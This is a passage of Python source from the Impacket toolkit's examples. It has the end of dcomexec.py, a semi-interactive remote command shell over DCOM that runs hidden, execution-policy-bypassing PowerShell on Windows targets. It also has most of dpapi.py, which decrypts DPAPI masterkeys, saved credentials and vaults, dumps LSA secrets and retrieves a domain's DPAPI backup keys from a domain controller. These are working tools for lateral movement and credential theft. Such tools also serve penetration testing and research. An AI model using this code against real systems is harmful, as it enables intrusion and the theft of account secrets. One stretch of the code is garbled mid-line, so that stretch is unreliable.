sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() class RemoteShell(cmd.Cmd): def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False): cmd.Cmd.__init__(self) self._share = share self._output = '\\' + OUTPUT_FILENAME self.__outputBuffer = '' self._shell = 'cmd.exe' self.__shell_type = shell_type self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' self.__quit = quit self._executeShellCommand = executeShellCommand self.__transferClient = smbConnection self._silentCommand = silentCommand self._pwd = 'C:\\windows\\system32' self._noOutput = False self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: self.__transferClient.setTimeout(100000) self.do_cd('\\') else: self._noOutput = True def do_shell(self, s): os.system(s) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) lget {file} - downloads pathname to the current local dir ! {cmd} - executes a local shell cmd """) def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) def do_lget(self, src_path): try: import ntpath newPath = ntpath.normpath(ntpath.join(self._pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) fh.close() except Exception as e: logging.error(str(e)) os.remove(filename) pass def do_lput(self, s): try: params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') dst_path = dst_path.replace('/','\\') import ntpath pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file) drive, tail = ntpath.splitdrive(pathname) logging.info("Uploading %s to %s" % (src_file, pathname)) self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) fh.close() except Exception as e: logging.critical(str(e)) pass def do_exit(self, s): dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) return True def do_EOF(self, s): print() return self.do_exit(s) def emptyline(self): return False def do_cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: if PY2: self._pwd = ntpath.normpath(ntpath.join(self._pwd, s.decode(sys.stdin.encoding))) else: self._pwd = ntpath.normpath(ntpath.join(self._pwd, s)) self.execute_remote('cd ') self._pwd = self.__outputBuffer.strip('\r\n') self.prompt = (self._pwd + '>') if self.__shell_type == 'powershell': self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = '' def default(self, line): # Let's try to guess if the user is trying to change drive if len(line) == 2 and line[1] == ':': # Execute the command and see if the drive is valid self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: # Something went wrong print(self.__outputBuffer) self.__outputBuffer = '' else: # Drive valid, now we should get the current path self._pwd = line self.execute_remote('cd ') self._pwd = self.__outputBuffer.strip('\r\n') self.prompt = (self._pwd + '>') if self.__shell_type == 'powershell': self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = '' else: if line != '': self.send_data(line) def get_output(self): def output_callback(data): try: self.__outputBuffer += data.decode(CODEC) except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute dcomexec.py ' 'again with -codec and the corresponding codec') self.__outputBuffer += data.decode(CODEC, errors='replace') if self._noOutput is True: self.__outputBuffer = '' return while True: try: self.__transferClient.getFile(self._share, self._output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait time.sleep(1) pass elif str(e).find('Broken') >= 0: # The SMB Connection might have timed out, let's try reconnecting logging.debug('Connection broken, trying to recreate it') self.__transferClient.reconnect() return self.get_output() self.__transferClient.deleteFile(self._share, self._output) def execute_remote(self, data, shell_type='cmd'): if self._silentCommand is True: self._shell = data.split()[0] command = ' '.join(data.split()[1:]) else: if shell_type == 'powershell': data = '$ProgressPreference="SilentlyContinue";' + data data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() command = '/Q /c ' + data if self._noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' logging.debug('Executing: %s' % command) dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 5 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = self._shell arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR if PY3: arg1['_varUnion']['bstrVal']['asData'] = command else: arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding) arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR arg2['_varUnion']['bstrVal']['asData'] = self._pwd arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '' arg4 = VARIANT(None, False) arg4['clSize'] = 5 arg4['vt'] = VARENUM.VT_BSTR arg4['_varUnion']['tag'] = VARENUM.VT_BSTR arg4['_varUnion']['bstrVal']['asData'] = '0' dispParams['rgvarg'].append(arg4) dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) #print(dispParams.dump()) self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output() def send_data(self, data): self.execute_remote(data, self.__shell_type) print(self.__outputBuffer) self.__outputBuffer = '' class RemoteShellMMC20(RemoteShell): def execute_remote(self, data, shell_type='cmd'): if self._silentCommand is True: self._shell = data.split()[0] command = ' '.join(data.split()[1:]) else: if shell_type == 'powershell': data = '$ProgressPreference="SilentlyContinue";' + data data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode() command = '/Q /c ' + data if self._noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 4 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = self._shell arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = self._pwd arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR if PY3: arg2['_varUnion']['bstrVal']['asData'] = command else: arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding) arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '7' dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output() class AuthFileSyntaxError(Exception): '''raised by load_smbclient_auth_file if it encounters a syntax error while loading the smbclient-style authentication file.''' def __init__(self, path, lineno, reason): self.path=path self.lineno=lineno self.reason=reason def __str__(self): return 'Syntax error in auth file %s line %d: %s' % ( self.path, self.lineno, self.reason ) def load_smbclient_auth_file(path): '''Load credentials from an smbclient-style authentication file (used by smbclient, mount.cifs and others). returns (domain, username, password) or raises AuthFileSyntaxError or any I/O exceptions.''' lineno=0 domain=None username=None password=None for line in open(path): lineno+=1 line = line.strip() if line.startswith('#') or line=='': continue parts = line.split('=',1) if len(parts) != 2: raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') (k,v) = (parts[0].strip(), parts[1].strip()) if k=='username': username=v elif k=='password': password=v elif k=='domain': domain=v else: raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) return (domain, username, password) # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the " "ShellBrowserWindow DCOM object.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' '(default ADMIN$)') parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output ' '(no SMB connection created)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' 'again with -codec and the corresponding codec ' % CODEC) parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows', help='DCOM object to be used to execute the shell command (default=ShellWindows)') parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' 'a command processor for the semi-interactive shell') parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' 'launch a semi-interactive shell') parser.add_argument('-silentcommand', action='store_true', default = False, help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " "See smbclient man page's -A option.") group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.codec is not None: CODEC = options.codec else: if CODEC is None: CODEC = 'utf-8' if ' '.join(options.command) == ' ' and options.nooutput is True: logging.error("-nooutput switch and interactive shell not supported") sys.exit(1) if options.silentcommand and options.command == ' ': logging.error("-silentcommand switch and interactive shell not supported") sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.com_version is not None: try: major_version, minor_version = options.com_version.split('.') COMVERSION.set_default_version(int(major_version), int(minor_version)) except Exception: logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") sys.exit(1) domain, username, password, address = parse_target(options.target) try: if options.A is not None: (domain, username, password) = load_smbclient_auth_file(options.A) logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type) executer.run(address, options.silentcommand) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) sys.exit(0) impacket-impacket_0_11_0/examples/dpapi.py000077500000000000000000000706651446174712300207240ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Example for using the DPAPI/Vault structures to unlock Windows Secrets. # # Author: # Alberto Solino (@agsolino) # # Examples: # # You can unlock masterkeys, credentials and vaults. For the three, you will specify the file name (using -file for # masterkeys and credentials, and -vpol and -vcrd for vaults). # If no other parameter is sent, the contents of these resource will be shown, with their encrypted data as well. # If you specify a -key blob (in the form of '0xabcdef...') that key will be used to decrypt the contents. # In the case of vaults, you might need to also provide the user's sid (and the user password will be asked). # For system secrets, instead of a password you will need to specify the system and security hives. # # References: # All of the work done by these guys. I just adapted their work to my needs. # - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 # - https://github.com/jordanbtucker/dpapick # - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) # - http://blog.digital-forensics.it/2016/01/windows-revaulting.html # - https://www.passcape.com/windows_password_recovery_vault_explorer # - https://www.passcape.com/windows_password_recovery_dpapi_master_key # from __future__ import division from __future__ import print_function import struct import argparse import logging import sys from six import b from binascii import unhexlify, hexlify from hashlib import pbkdf2_hmac from Cryptodome.Cipher import AES, PKCS1_v1_5 from Cryptodome.Hash import HMAC, SHA1, MD4 from impacket.uuid import bin_to_string from impacket import crypto from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import lsad from impacket.dcerpc.v5 import bkrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.examples.secretsdump import LocalOperations, LSASecrets from impacket.structure import hexdump from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \ CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \ PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY class DPAPI: def __init__(self, options): self.options = options self.dpapiSystem = {} pass def getDPAPI_SYSTEM(self,secretType, secret): if secret.startswith("dpapi_machinekey:"): machineKey, userKey = secret.split('\n') machineKey = machineKey.split(':')[1] userKey = userKey.split(':')[1] self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) self.dpapiSystem['UserKey'] = unhexlify(userKey[2:]) def getLSA(self): localOperations = LocalOperations(self.options.system) bootKey = localOperations.getBootKey() lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM) lsaSecrets.dumpSecrets() # Did we get the values we wanted? if 'MachineKey' not in self.dpapiSystem or 'UserKey' not in self.dpapiSystem: logging.error('Cannot grab MachineKey/UserKey from LSA, aborting...') sys.exit(1) def deriveKeysFromUser(self, sid, password): # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() # For Protected users tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] return key1, key2, key3 def deriveKeysFromUserkey(self, sid, pwdhash): if len(pwdhash) == 20: # SHA1 key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = None else: # Assume MD4 key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() # For Protected users tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] return key1, key2 def run(self): if self.options.action.upper() == 'MASTERKEY': fp = open(options.file, 'rb') data = fp.read() mkf= MasterKeyFile(data) mkf.dump() data = data[len(mkf):] if mkf['MasterKeyLen'] > 0: mk = MasterKey(data[:mkf['MasterKeyLen']]) data = data[len(mk):] if mkf['BackupKeyLen'] > 0: bkmk = MasterKey(data[:mkf['BackupKeyLen']]) data = data[len(bkmk):] if mkf['CredHistLen'] > 0: ch = CredHist(data[:mkf['CredHistLen']]) data = data[len(ch):] if mkf['DomainKeyLen'] > 0: dk = DomainKey(data[:mkf['DomainKeyLen']]) data = data[len(dk):] if self.options.system and self.options.security and self.options.sid is None: # We have hives, let's try to decrypt with them self.getLSA() decryptedKey = mk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted Backup key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted Backup key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.system and self.options.security: # Use SID + hash # We have hives, let's try to decrypt with them self.getLSA() key1, key2 = self.deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey']) decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key1) if decryptedKey: print('Decrypted Backup key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(key2) if decryptedKey: print('Decrypted key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key2) if decryptedKey: print('Decrypted Backup key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key and self.options.sid: key = unhexlify(self.options.key[2:]) key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key) decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with key provided + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(key2) if decryptedKey: print('Decrypted key with key provided + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key: key = unhexlify(self.options.key[2:]) decryptedKey = mk.decrypt(key) if decryptedKey: print('Decrypted key with key provided') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.pvk and dk: pvkfile = open(self.options.pvk, 'rb').read() key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) private = privatekeyblob_to_pkcs1(key) cipher = PKCS1_v1_5.new(private) decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) if decryptedKey: domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] print('Decrypted key with domain backup key provided') print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) return elif self.options.sid and self.options.key is None: # Do we have a password? if self.options.password is None: # Nope let's ask it from getpass import getpass password = getpass("Password:") else: password = options.password key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password) # if mkf['flags'] & 4 ? SHA1 : MD4 decryptedKey = mk.decrypt(key3) if decryptedKey: print('Decrypted key with User Key (MD4 protected)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(key2) if decryptedKey: print('Decrypted key with User Key (MD4)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with User Key (SHA1)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key3) if decryptedKey: print('Decrypted Backup key with User Key (MD4 protected)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key2) if decryptedKey: print('Decrypted Backup key with User Key (MD4)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key1) if decryptedKey: print('Decrypted Backup key with User Key (SHA1)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.target is not None: domain, username, password, remoteName = parse_target(self.options.target) if domain is None: domain = '' if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None: from getpass import getpass password = getpass("Password:") if self.options.hashes is not None: lmhash, nthash = self.options.hashes.split(':') else: lmhash, nthash = '','' rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\protected_storage]' % remoteName) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(username, password, domain, lmhash, nthash, self.options.aesKey) rpctransport.set_kerberos(self.options.k, self.options.dc_ip) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.options.k is True: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(bkrp.MSRPC_UUID_BKRP, transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')) request = bkrp.BackuprKey() request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID request['pDataIn'] = dk.getData() request['cbDataIn'] = len(dk.getData()) request['dwParam'] = 0 resp = dce.request(request) ## Stripping heading zeros resulting from asymetric decryption beginning=0 for i in range(len(resp['ppDataOut'])): if resp['ppDataOut'][i]==b'\x00': beginning+=1 else: break masterkey=b''.join(resp['ppDataOut'][beginning:]) print('Decrypted key using rpc call') print('Decrypted key: 0x%s' % hexlify(masterkey).decode()) return else: # Just print key's data if mkf['MasterKeyLen'] > 0: mk.dump() if mkf['BackupKeyLen'] > 0: bkmk.dump() if mkf['CredHistLen'] > 0: ch.dump() if mkf['DomainKeyLen'] > 0: dk.dump() # credit to @gentilkiwi elif self.options.action.upper() == 'BACKUPKEYS': domain, username, password, address = parse_target(self.options.target) if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None: from getpass import getpass password = getpass ("Password:") if self.options.hashes is not None: lmhash, nthash = self.options.hashes.split(':') else: lmhash, nthash = '','' connection = SMBConnection(address, address) if self.options.k: connection.kerberosLogin(username, password, domain, lmhash, nthash, self.options.aesKey) else: connection.login(username, password, domain, lmhash=lmhash, nthash=nthash) rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\lsarpc]') rpctransport.set_smb_connection(connection) dce = rpctransport.get_dce_rpc() if self.options.k: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) try: dce.connect() dce.bind(lsad.MSRPC_UUID_LSAD) except transport.DCERPCException as e: raise e resp = lsad.hLsarOpenPolicy2(dce, lsad.POLICY_GET_PRIVATE_INFORMATION) for keyname in ("G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"): buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], keyname)) guid = bin_to_string(buffer) name = "G$BCKUPKEY_{}".format(guid) secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], name)) keyVersion = struct.unpack(' 28: attribute = blob.attributes[i] if 'IV' in attribute.fields and len(attribute['IV']) == 16: cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) else: cipher = AES.new(key, AES.MODE_CBC) cleartext = cipher.decrypt(attribute['Data']) if cleartext is not None: # Lookup schema Friendly Name and print if we find one if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS: # Found one. Cast it and print vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext) vault.dump() else: # otherwise hexdump(cleartext) return else: blob.dump() elif options.vpol is not None: fp = open(options.vpol, 'rb') data = fp.read() vpol = VAULT_VPOL(data) vpol.dump() if self.options.key is not None: key = unhexlify(self.options.key[2:]) blob = vpol['Blob'] data = blob.decrypt(key) if data is not None: keys = VAULT_VPOL_KEYS(data) keys.dump() return elif self.options.action.upper() == 'UNPROTECT': fp = open(options.file, 'rb') data = fp.read() blob = DPAPI_BLOB(data) if self.options.key is not None: key = unhexlify(self.options.key[2:]) if self.options.entropy_file is not None: fp2 = open(self.options.entropy_file, 'rb') entropy = fp2.read() fp2.close() elif self.options.entropy is not None: entropy = b(self.options.entropy) else: entropy = None decrypted = blob.decrypt(key, entropy) if decrypted is not None: print('Successfully decrypted data') hexdump(decrypted) return else: # Just print the data blob.dump() print('Cannot decrypt (specify -key or -sid whenever applicable) ') if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Example for using the DPAPI/Vault structures to unlock Windows Secrets.") parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # A domain backup key command backupkeys = subparsers.add_parser('backupkeys', help='domain backup key related functions') backupkeys.add_argument('-t', '--target', action='store', required=True, help='[[domain/]username[:password]@]') backupkeys.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') backupkeys.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') backupkeys.add_argument('-k', action="store_true", required=False, help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') backupkeys.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') backupkeys.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 'If omitted it will use the domain part (FQDN) specified in the target parameter') backupkeys.add_argument('--export', action='store_true', required=False, help='export keys to file') # A masterkey command masterkey = subparsers.add_parser('masterkey', help='masterkey related functions') masterkey.add_argument('-file', action='store', required=True, help='Master Key File to parse') masterkey.add_argument('-sid', action='store', help='SID of the user') masterkey.add_argument('-pvk', action='store', help='Domain backup privatekey to use for decryption') masterkey.add_argument('-key', action='store', help='Specific key to use for decryption') masterkey.add_argument('-password', action='store', help='User\'s password. If you specified the SID and not the password it will be prompted') masterkey.add_argument('-system', action='store', help='SYSTEM hive to parse') masterkey.add_argument('-security', action='store', help='SECURITY hive to parse') masterkey.add_argument('-t', '--target', action='store', help='The masterkey owner\'s credentails to ask the DC for decryption' 'Format: [[domain/]username[:password]@]') masterkey.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') masterkey.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') masterkey.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') masterkey.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') masterkey.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 'If omitted it will use the domain part (FQDN) specified in the target parameter') # A credential command credential = subparsers.add_parser('credential', help='credential related functions') credential.add_argument('-file', action='store', required=True, help='Credential file') credential.add_argument('-key', action='store', required=False, help='Key used for decryption') # A vault command vault = subparsers.add_parser('vault', help='vault credential related functions') vault.add_argument('-vcrd', action='store', required=False, help='Vault Credential file') vault.add_argument('-vpol', action='store', required=False, help='Vault Policy file') vault.add_argument('-key', action='store', required=False, help='Master key used for decryption') # A CryptUnprotectData command unprotect = subparsers.add_parser('unprotect', help='Provides CryptUnprotectData functionality') unprotect.add_argument('-file', action='store', required=True, help='File with DATA_BLOB to decrypt') unprotect.add_argument('-key', action='store', required=False, help='Key used for decryption') unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for 